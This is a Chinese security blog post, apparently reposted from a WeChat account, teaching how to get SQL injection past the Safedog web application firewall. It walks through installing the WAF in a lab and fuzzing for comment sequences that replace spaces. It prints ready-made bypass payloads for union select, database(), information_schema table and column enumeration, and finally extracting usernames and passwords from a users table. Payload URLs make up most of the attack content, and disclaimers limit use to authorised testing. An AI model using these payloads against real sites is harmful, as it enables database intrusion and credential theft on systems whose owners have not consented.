文章总结: 本文介绍了针对最新安全狗的SQL注入绕过技术。作者通过FUZZ测试发现可利用内联注释及特定符号替代空格,成功绕过and判断、orderby排序、unionselect联合查询等拦截。针对database函数及from、where等关键字,通过构造注释符和换行符组合实现注入,最终完成爆库爆表及数据获取。
综合评分: 89
文章分类: 渗透测试,WEB安全,免杀,漏洞分析
绕狗 | 基于最新安全狗学习SQL注入FUZZ
原创
犀利猪
犀利猪
犀利猪安全
2023年8月11日 17:17
湖南
01
首先安装
在学习绕狗前,我们需要先装狗,建议在虚拟机进行操作,安装狗子前先拍个快照,不然我怕你自闭:
下载地址:https://www.safedog.cn/website_safedog.html
安装过程中有几率识别不到或者是由于Phpstudy版本原因,Apache进程没有以服务形式运行,那么我们需要自己手动用命令加个服务:
管理权限运行cmd:
然后切到Apache的bin目录,输入命令:
httpd -k install -n apache2.4
02
测试开始
构造判断语句
构造 and 1=1已经被拦截了:
但是只用 and ,后面没内容时是正常的:
我们尝试在中间FUZZ一下,看看有什么可以代替空格的符号:
也就说这些玩意都可以,然后自己构造下,让语句正常:
在内联注释中插入这些代替空格的符号即可(列举几个):
?id=1' and/*///*/1=1 --+?id=1' and/*/!/*/1=1 --+?id=1' and/*//!/*/1=1 --+
order by绕过
这个同理,需要FUZZ出内容代替空格,直接拼的话会拦截:
在构造判断语句时我们已经得到了一些能绕过的符号了:
?id=1' order/*//!/*/by 3 --+
union select绕过
经测试,当union或select单独出现时,并不会被拦截:
这里的话用前面的绕过符号过不去了,重新FUZZ一下:
爆出来好多:
让我们试一试(随便列几个):
?id=-1' union/*/!--/*/select 1,2,3--+?id=-1' union/*//---*/select 1,2,3--+?id=-1' union/*/!--!*/select 1,2,3--+
爆库:database() 绕过
这里的话,当database跟后面的()没有同时出现时是正常的:
当与()同时出现,形成完整函数时被拦截:
好好好,我们直接用绕过union select的符号就可以:
?id=-1' union/*/!--!*/select 1,database/*/!--!*/(),3--+?id=-1' union/*/!--!*/select 1,database/*/!--/*/(),3--+
爆表
我们先把正常语句丢进去,然后判断检测了什么:
好好好,from后面不能出现字母i:
现在的思路就是要往from和i的中间做文章,这里有一个思路会涉及到四个知识点:
第一个点:
利用内联注释,往其中间插入 ! ,! 后面的的内容会被正常执行:
第二个点:
可以在内联注释中插入 /* ,也可达到绕过的效果:
第三个点:
构造的语句中可以插入注释符:
第四个点:
同时配合如下内容,达到绕过:
最后经过测试,构造的语句如下所示:
?id=-1%27%20union/*/!--!*/select%201,group_concat(table_name),3 from/*!--+/*%0ainformation_schema.tables*/ --+
但是……where又不能出现在后面了:
这里,我们尝试在where前面插入之前用来绕过空格的字符:
?id=-1%27%20union/*/!--!*/select%201,group_concat(table_name),3 from/*!--+/*%0ainformation_schema.tables*//*/!--!*/where--+
好好好:
?id=-1%27%20union/*/!--!*/select%201,group_concat(table_name),3 from/*!--+/*%0ainformation_schema.tables*//*/!--!*/where table_schema='security'--+
爆列名
经过测试,在条件table_name后面出现等于号的时候会被拦:
无所谓,在等于号前面同样加一串代替空格的字符:
?id=-1%27%20union/*/!--!*/select%201,group_concat(column_name),3 from/*!--+/*%0ainformation_schema.columns*//*/!--!*/where table_schema='security' and table_name/*/!--!*/='users'--+
获取值
这不就简单了吗:
?id=-1%27%20union/*/!--!*/select%201,group_concat(username,0x7e,password),3 from/*!--+/*%0ausers*/--+
(
END
)
!扫码添加哦!
免责声明
文章内容仅限授权测试或学习使用
请勿进行非法的测试或攻击
利用本账号所发文章
进行直接或间接的非法行为
均由操作者本人负全责
犀利猪安全及文章对应作者
不为此承担任何责任
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:犀利猪安全 犀利猪
犀利猪《绕狗 | 基于最新安全狗学习SQL注入FUZZ》